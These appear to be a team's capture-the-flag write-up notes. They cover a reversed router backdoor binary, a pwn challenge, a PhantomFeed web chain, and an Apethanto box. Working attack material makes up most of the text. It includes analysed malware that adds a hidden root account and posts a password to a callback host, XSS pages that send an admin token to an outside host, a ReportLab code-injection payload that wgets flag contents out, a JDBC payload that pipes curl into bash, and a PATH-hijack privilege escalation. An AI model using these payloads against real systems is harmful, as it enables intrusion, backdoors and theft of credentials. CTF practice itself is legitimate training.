  char memory_data[28]; // [sp+144h] [-2Ch] BYREF
  char username[16]; // [sp+160h] [-10h] BYREF

  strcpy(username, "zombie_lord");
  strcpy(nieco_encrypted, "d2c0ba035fe58753c648066d76fa793bea92ef29");
  memcpy(memory_data, &unk_400D50, 0x1Bu);
  dlzka_memory_data = strlen(memory_data);
  v4 = (const char *)malloc(4 * dlzka_memory_data);
  init_crypto_lib(nieco_encrypted, memory_data, v4);
  v5 = curl_easy_init();
  if ( !v5 )
    return -2;
  v6 = v5;
  curl_easy_setopt(v5, 10002, "http://callback.router.htb");
  curl_easy_setopt(v6, 10015, v4);
  curl_easy_perform(v6);
  curl_easy_cleanup(v6);
  v7 = fopen("/proc/sys/kernel/hostname", "r");
  memset(v12, 0, sizeof(v12));
  v8 = fread(v12, 0x100u, 1u, v7);
  fclose(v7);
  *((_BYTE *)v12 + v8 - 1) = 0;
  v9 = strcmp((const char *)v12, "HSTERUNI-GW-01");
  if ( v9 )
    return -1;
  if ( getuid() && geteuid() )
    return -1;
  if ( !getpwnam(username) )
    system("opkg update && opkg install shadow-useradd && useradd -s /bin/ash -g 0 -u 0 -o -M zombie_lord");
  v11 = popen("passwd zombie_lord", "w");
  fprintf(v11, "%s\n%s\n", v4, v4);
  pclose(v11);
  return v9;
}
```
```
.rodata:00400D50 C5                            unk_400D50:.byte 0xC5                    # DATA XREF: _ftext+50↑o
.rodata:00400D51 7C                            .byte 0x7C  # |
.rodata:00400D52 2B                            .byte 0x2B  # +
.rodata:00400D53 05                            .byte    5
.rodata:00400D54 48                            .byte 0x48  # H
.rodata:00400D55 90                            .byte 0x90
.rodata:00400D56 F3                            .byte 0xF3
.rodata:00400D57 B7                            .byte 0xB7
.rodata:00400D58 3F                            .byte 0x3F  # ?
.rodata:00400D59 76                            .byte 0x76  # v
.rodata:00400D5A 0F                            .byte  0xF
.rodata:00400D5B 5B                            .byte 0x5B  # [
.rodata:00400D5C 68                            .byte 0x68  # h
.rodata:00400D5D 7B                            .byte 0x7B  # {
.rodata:00400D5E 62                            .byte 0x62  # b
.rodata:00400D5F 72                            .byte 0x72  # r
.rodata:00400D60 BD                            .byte 0xBD
.rodata:00400D61 F8                            .byte 0xF8
.rodata:00400D62 01                            .byte    1
.rodata:00400D63 9B                            .byte 0x9B
.rodata:00400D64 57                            .byte 0x57  # W
.rodata:00400D65 47                            .byte 0x47  # G
.rodata:00400D66 1E                            .byte 0x1E
.rodata:00400D67 6F                            .byte 0x6F  # o
.rodata:00400D68 DF                            .byte 0xDF
.rodata:00400D69 8C                            .byte 0x8C
.rodata:00400D6A 55                            .byte 0x55  # U
.rodata:00400D6B 00                            .byte    0
```

- zaujimava cast - jedine, co je stale otazne, je funkcia `init_crypto_lib()` a implementacia jej dalsich funkcii :smile::gun::
```c
  size_t key_length; // $v0
  const char *password; // $s1
  int curl_init; // $v0
  FILE *hostname_file; // $s2
  size_t v8; // $s0
  int v9; // $s0
  FILE *v11; // $s2
  int v12[64]; // [sp+18h] [-158h] BYREF
  char future_password[44]; // [sp+118h] [-58h] BYREF
  char key[28]; // [sp+144h] [-2Ch] BYREF
  char username[16]; // [sp+160h] [-10h] BYREF

  strcpy(username, "zombie_lord");
  strcpy(future_password, "d2c0ba035fe58753c648066d76fa793bea92ef29");

  // skopiruje key z pamate do `key`
  memcpy(key, &unk_400D50, 27);
  key_length = strlen(key);
  password = (const char *)malloc(4 * key_length);
  init_crypto_lib((int)future_password, (int)key, (int)password);
  

  curl_init = curl_easy_init();
  curl_easy_setopt(curl_init, 10002, "http://callback.router.htb");
  curl_easy_setopt(curl_init, 10015, password);
  curl_easy_perform(curl_init);
  curl_easy_cleanup(curl_init);
```


- autorova path = `openwrt/build_dir/toolchain-mipsel_24kc_gcc-12.3.0_musl/musl-1.2.4`
- **AAAAAAAAAAAAAAAAAAAAAAAAA** :smile::gun: `gcc another.c -o another -l curl`
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

// Define a buffer to store the server response
struct MemoryStruct {
    char *memory;
    size_t size;
};

// Callback function to handle the received data
size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp) {
    size_t realsize = size * nmemb;
    struct MemoryStruct *mem = (struct MemoryStruct *)userp;

    mem->memory = realloc(mem->memory, mem->size + realsize + 1);
    if (mem->memory == NULL) {
        // Out of memory
        fprintf(stderr, "Not enough memory (realloc returned NULL)\n");
        return 0;
    }

    memcpy(&(mem->memory[mem->size]), contents, realsize);
    mem->size += realsize;
    mem->memory[mem->size] = 0;

    return realsize;
}

int key_rounds_init(const char *a1, unsigned char *a2) {
    int v3 = strlen(a1);
    int v5 = 0;
    unsigned char *v6 = a2;

    // Initialize values from 0 to 255
    do {
        *v6 = (unsigned char)v5++;
        v6 = &a2[v5];
    } while (v5 != 256);

    int v7 = 0;
    int v8 = 0;

    // Shuffle values based on input string
    do {
        int v9 = v7 % v3;
        unsigned char *v10 = &a2[v7];
        int v11 = (unsigned char)a2[v7++];
        v8 = (a1[v9] + v11 + v8) % 256;
        *v10 = a2[v8];
        a2[v8] = v11;
    } while (v7 != 256);

    return 0;
}

int perform_rounds(unsigned char *a1, const char *a2, char *a3) {
    size_t v5 = strlen(a2);
    int v7 = 0;
    unsigned char v8 = 0;
    unsigned char v9 = 0;

    while (v7 != v5) {
        v9 = (unsigned char)(v9 + 1);
        unsigned char v11 = a1[v9];
        v8 = (unsigned char)(v11 + v8);
        a1[v9] = a1[v8];
        a1[v8] = v11;

        unsigned char *v12 = (unsigned char *)(a3 + v7);
        char v13 = a2[v7++];
        *v12 = a1[a1[v11] + v11] ^ v13;
    }

    return 0;
}


const char unk_400D50[] = {
    0xC5, 0x7C, 0x2B, 0x05, 0x48, 0x90, 0xF3, 0xB7,
    0x3F, 0x76, 0x0F, 0x5B, 0x68, 0x7B, 0x62, 0x72,
    0xBD, 0xF8, 0x01, 0x9B, 0x57, 0x47, 0x1E, 0x6F,
    0xDF, 0x8C, 0x55, 0x00
};
/*
const int unk_400D50[] = {
    0x05, 0x2B, 0x7C, 0xC5, 0xB7, 0xF3, 0x90, 0x48,
    0x5B, 0x0F, 0x76, 0x3F, 0x72, 0x62, 0x7B, 0x68,
    0x9B, 0x01, 0xF8, 0xBD, 0x6F, 0x1E, 0x47, 0x57,
     0x55, 0x8C, 0xDF
};*/

void init_crypto_lib(const char *a1, const char *a2, char *a3) {
    unsigned char v6[260];

    key_rounds_init(a1, v6);
    perform_rounds(v6, a2, a3);
}

int main() {
    size_t key_length;
    const char *password;
    char future_password[44];
    char key[28];
    char username[16];

    strcpy(username, "zombie_lord");
    strcpy(future_password, "d2c0ba035fe58753c648066d76fa793bea92ef29");

    // Copy key from memory to `key`
    memcpy(key, unk_400D50, sizeof(key) - 1); // Use sizeof(key) - 1 to avoid copying the null terminator
    key_length = strlen(key);

//password = (const char *)malloc(4 * key_length);
    //init_crypto_lib(future_password, key, (char *)password); // Avoid the casts in the function call

 password = (const char *)malloc(4 * key_length + 1);

    // Initialize crypto library
init_crypto_lib(future_password, key, (char *)password);

printf((char*)future_password);
printf((char*)password);
printf((char*)key);


      CURL *curl_init;
    CURLcode res;
    struct MemoryStruct chunk;

    // Initialize chunk structure
    chunk.memory = malloc(1);
    chunk.size = 0;

    curl_global_init(CURL_GLOBAL_DEFAULT);

    curl_init = curl_easy_init();
    if (curl_init) {
        // Set URL
        curl_easy_setopt(curl_init, CURLOPT_URL, "http://callback.router.htb:48154");

        // Set POST data
        curl_easy_setopt(curl_init, CURLOPT_POSTFIELDS, password);

        // Set the callback function to handle the response
        curl_easy_setopt(curl_init, CURLOPT_WRITEFUNCTION, WriteCallback);

        // Set user data for the callback function
        curl_easy_setopt(curl_init, CURLOPT_WRITEDATA, (void *)&chunk);

        // Perform the HTTP POST request
        res = curl_easy_perform(curl_init);

        // Check for errors
        if (res != CURLE_OK)
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        else {
            // Print the server response
            printf("Server Response:\n%s\n", chunk.memory);
        }

        // Clean up
        curl_easy_cleanup(curl_init);
    }
        printf((char*)password);
    // Free allocated memory
    free(chunk.memory);
    free((void *)password);

    // Clean up libcurl
    curl_global_cleanup();


    return 0;
}
```

- `lib_crypto_init()` stuff:
```c
int __fastcall key_rounds_init(const char *a1, _BYTE *a2)
{
  signed int v3; // $v0
  int v5; // $v1
  _BYTE *v6; // $a1
  int v7; // $v1
  int v8; // $a2
  int v9; // $hi
  _BYTE *v10; // $t1
  int v11; // $t0

  v3 = strlen(a1);
  v5 = 0;
  v6 = a2;
  do
  {
    *v6 = v5++;
    v6 = &a2[v5];
  }
  while ( v5 != 256 );
  v7 = 0;
  v8 = 0;
  do
  {
    v9 = v7 % v3;
    v10 = &a2[v7];
    v11 = (unsigned __int8)a2[v7++];
    v8 = (a1[v9] + v11 + v8) % 256;
    *v10 = a2[v8];
    a2[v8] = v11;
  }
  while ( v7 != 256 );
  return 0;
}
// 400ABC: conditional instruction was optimized away because $v0.4!=0

//----- (00400B2C) --------------------------------------------------------
int __fastcall perform_rounds(int a1, const char *a2, int a3)
{
  size_t v5; // $v0
  int v7; // $a3
  int v8; // $t1
  int v9; // $t0
  char v11; // $v1
  _BYTE *v12; // $a1
  char v13; // $a0

  v5 = strlen(a2);
  v7 = 0;
  LOBYTE(v8) = 0;
  LOBYTE(v9) = 0;
  while ( v7 != v5 )
  {
    v9 = (unsigned __int8)(v9 + 1);
    v11 = *(_BYTE *)(a1 + v9);
    v8 = (unsigned __int8)(v11 + v8);
    *(_BYTE *)(a1 + v9) = *(_BYTE *)(a1 + v8);
    *(_BYTE *)(a1 + v8) = v11;
    v12 = (_BYTE *)(a3 + v7);
    v13 = a2[v7++];
    *v12 = *(_BYTE *)(a1 + (unsigned __int8)(v11 + *(_BYTE *)(a1 + v9))) ^ v13;
  }
  return 0;
}

//----- (00400BE4) --------------------------------------------------------
int __fastcall init_crypto_lib(const char *a1, const char *a2, int a3)
{
  char v6[260]; // [sp+18h] [-104h] BYREF

  key_rounds_init(a1, v6);
  perform_rounds((int)v6, a2, a3);
  return 0;
}
```


## Great Old Talisman - easy PWN
Read zapisuje data na preddefinovany pointer talis + 8 \* nami zadaná hodnota z prvého inputu. Analýzov binárky zistíme že tesne pred talis je pointer na jedinú funkciu ktorá sa volá za read(). Dopočítame medzeru medzi talis a pointerom na funkciu (-4\*8) a zmeníme hodnotu spodných dvoch bajtov pointeru tak aby ukazovali na funkciu read_flag. Profit.
Payload: `python -c "print(-4);print('\x5a\x13')" | nc ip port`
Flag: `HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}`


## PhantomFeed - Hard Web

So this was a real chain.
TLDR: race condition to register user -> make admin bot visit link that issues oauth2 token, then triggers xss -> we get the token -> use admin access to generate pdfs -> we can change color attribute, copypasta payload from https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py

### Register using Race condition

To successfully login after registering an user needs to have verified=True in database.

True is the default value for this and user is created without this attribute so default takes over. 

```python

  db_session = Database()
  user_valid, user_id = db_session.create_user(username, password, email)
  
  if not user_valid:
    return render_template("error.html", title="error", error="user exists"), 401

  email_client = EmailClient(email)
  verification_code = db_session.add_verification(user_id)
```

However a few lines after creating `add_verification` is run which sets `verified=False` (the email verification is not possible so this cannot be set back to true)

-> this means we have to race to log in before this thing is run and after the user is created.
This can be easily done using burp intruder that starts shooting login requests and manually registering the account. A few of the intruder requests will actually log in yielding a cookie.


## Getting admin access

the following code is responsible for oauth token issuing.


```python=
@web.route("/oauth2/code", methods=["GET"])
@auth_middleware
def oauth2():
  client_id = request.args.get("client_id")
  redirect_url = request.args.get("redirect_url")

  if not client_id or not redirect_url:
    return render_template("error.html", title="error", error="missing parameters"), 400
    
  authorization_code = generate_authorization_code(request.user_data["username"], client_id, redirect_url)
  url = f"{redirect_url}?authorization_code={authorization_code}"

  return redirect(url, code=303)


@web.route("/oauth2/token", methods=["GET"])
@auth_middleware
def token():
  authorization_code = request.args.get("authorization_code")
  client_id = request.args.get("client_id")
  redirect_url = request.args.get("redirect_url")

  if not authorization_code or not client_id or not redirect_url:
    return render_template("error.html", title="error", error="missing parameters"), 400

  if not verify_authorization_code(authorization_code, client_id, redirect_url):
    return render_template("error.html", title="error", error="access denied"), 401

  access_token = create_jwt(request.user_data["user_id"], request.user_data["username"])
  
  return json.dumps({ 
    "access_token": access_token,
    "token_type": "JWT",
    "expires_in": current_app.config["JWT_LIFE_SPAN"],
    "redirect_url": redirect_url
  })
```

This means every logged user can issue himself (but noone else) a new JWT by a get request.
Another interesting thing is the `return json.dumps({ ` -> when you return a string as a response in flask it's returned with content-type: text/html which means if we can get some html into the response we have X$$ + also the users token as it's being send along

Now another problem is how the we get admin to visit our bad url?


![Screenshot 2023-12-09 at 00.55.39](https://hackmd.io/_uploads/H1vbp7bI6.png)

As a logged in user we can create posts with optional marketplace links.
The links are being process by the admin bot as follows:

```py   
token = create_jwt(1, "administrator")
    cookie = {
        "value": token,
...}
    client.add_cookie(cookie)

    client.get("http://127.0.0.1:5000" + link)
    time.sleep(10)
    client.quit()
```

which means if our link would start with `@` we're able to redirect the bot wherever we want.

Connecting this and the prior knowledge we can Issue a new JWT (oauth2 token) on the bots behalf and retrieve it using the XSS.

Hosted exploit page(s)

index.html
```html
<script>
  victim_url = "http://127.0.0.1:1337/";

  host = origin;
  xss_payload = `navigator.sendBeacon('http://el3l7f8zq17i84tga4hbzdohf8lz9pxe.oastify.com',document.body.innerHTML)`;
  redirect_endpoint = `/exfil.html`;

  redir_url_payload = `${host}${redirect_endpoint}?<script>${xss_payload}<${"/"}script>`;

  url = `${victim_url}/phantomfeed/oauth2/code?client_id=1&redirect_url=${redir_url_payload}`;
  open(url);
</script>
```

exfil.html
```html
<script>
  code = location.href.split("_code=")[1];

  victim_url = "http://127.0.0.1:1337/";

  host = origin;
  xss_payload = `navigator.sendBeacon('http://el3l7f8zq17i84tga4hbzdohf8lz9pxe.oastify.com',document.body.innerHTML)`;
  redirect_endpoint = `/exfil.html`;

  redir_url_payload = `${host}${redirect_endpoint}?<script>${xss_payload}<${"/"}script>`;

  window.location = `${victim_url}/phantomfeed/oauth2/token?authorization_code=${code}&client_id=1&redirect_url=${redir_url_payload}`;
</script>
```


now we just specify our url into the marketplace link. In my case I put `@049f-84-245-121-8.ngrok-free.app/` there.

Works like a charm and we get admin's JWT on our exfiltration endpoint

![Screenshot 2023-12-09 at 01.00.34](https://hackmd.io/_uploads/SkRXR7ZLT.png)


### RCE


The admin has access to a pdf rendering endpoint which is kinda sus

```python=
@web.route("/orders/html", methods = ["POST"])
@admin_middleware
def orders_html():
  color = request.form.get("color")

  if not color:
    return response("No color"), 400

  db_session = Database()
  orders = db_session.get_all_orders()
  
  if not orders:
    return response("No orders placed"), 200

  orders_template = render_template("orders.html", color=color)
  
  html2pdf = HTML2PDF()
  pdf = html2pdf.convert(orders_template, orders)
  
  pdf.seek(0)
  return send_file(pdf, as_attachment=True, download_name="orders.pdf", mimetype="application/pdf")
```

order.html contains
```htmlembedded
<para>
    <font color="{{ color }}">
        Orders:
    </font>
</para>
```

The pdf renderring backend is `Reportlab` -> quick google search yields this https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py

It has literally the same `<font>` and `color` HTML that it abuses... The author really outdid himself here.

=> Copypasta works and we get RCE

![Screenshot 2023-12-09 at 01.05.30](https://hackmd.io/_uploads/SJw81NZL6.png)

payload:
```
color=[+[+getattr(pow,Word('__globals__'))['os'].system('wget+http://pepe.8r0fd9etwvdceyzagyn557ubl2rtfo3d.oastify.com/`cat+/flag*`')+for+Word+in+[orgTypeFun('Word',+(str,),+{+'mutated'%3a+1,+'startswith'%3a+lambda+self,+x%3a+False,+'__eq__'%3a+lambda+self,x%3a+self.mutate()+and+self.mutated+<+0+and+str(self)+%3d%3d+x,+'mutate'%3a+lambda+self%3a+{setattr(self,+'mutated',+self.mutated+-+1)},+'__hash__'%3a+lambda+self%3a+hash(str(self))+})]+]+for+orgTypeFun+in+[type(type(1))]+]+and+'red'
```

we get the flag!

![Screenshot 2023-12-09 at 01.06.00](https://hackmd.io/_uploads/Bkmd1NW8p.png)

#loooongweeeirdchaiiinsisthenewwebhacking


## Biobundle
- debugging -> stack

> HTB{st4t1c_l1b5_but_c00l3r}


## Apethanto

```json
POST /api/setup/validate HTTP/1.1
Host: apethanto.htb:3000
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 441


{"token":"819139a8-1ce9-46f0-acf8-9b4fc0d1164b","details":{"details":{
"subprotocol":"h2",
"classname":"org.h2.Driver","advanced-options":true,
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('curl http://10.10.14.4:1337/scr | bash');"},"name":"x","engine":"postgres"}}
```

user = `HTB{3d1d071e4a99135770f57b53ec1644d2}`


mlaw@metabase.htb

$2a$10$8IsZk1vvWUtfyUImUnfCp..dxUNvR.sWlJN1IMtiaIqaZcOLvSfqW


```
2023/12/10 09:14:37 CMD: UID=0     PID=1      | /sbin/init
2023/12/10 09:14:57 CMD: UID=0     PID=23384  |
2023/12/10 09:14:57 CMD: UID=0     PID=23383  | sh -c /bin/stty sane < /dev/pts/3
2023/12/10 09:14:57 CMD: UID=0     PID=23382  | /usr/bin/expect /root/interact.exp
2023/12/10 09:14:57 CMD: UID=0     PID=23385  | sudo -u metabase -i
2023/12/10 09:14:57 CMD: UID=998   PID=23386  |
2023/12/10 09:14:57 CMD: UID=998   PID=23387  | -bash
2023/12/10 09:14:57 CMD: UID=998   PID=23388  | -bash
2023/12/10 09:14:57 CMD: UID=0     PID=23389  | sudo apt update
2023/12/10 09:14:57 CMD: UID=0     PID=23390  | /usr/bin/dpkg --print-foreign-architectures
2023/12/10 09:14:57 CMD: UID=0     PID=23391  | /usr/lib/apt/methods/http
2023/12/10 09:14:57 CMD: UID=0     PID=23392  |
2023/12/10 09:14:57 CMD: UID=0     PID=23393  | apt update
```

- privesc = file `/home/metabase/sudo` that contains:
```bash
#!/bin/bash
/usr/bin/sudo cat /root/root.txt > /tmp/win
```
- and .bashrc -> `export PATH="/home/metabase:$PATH"`


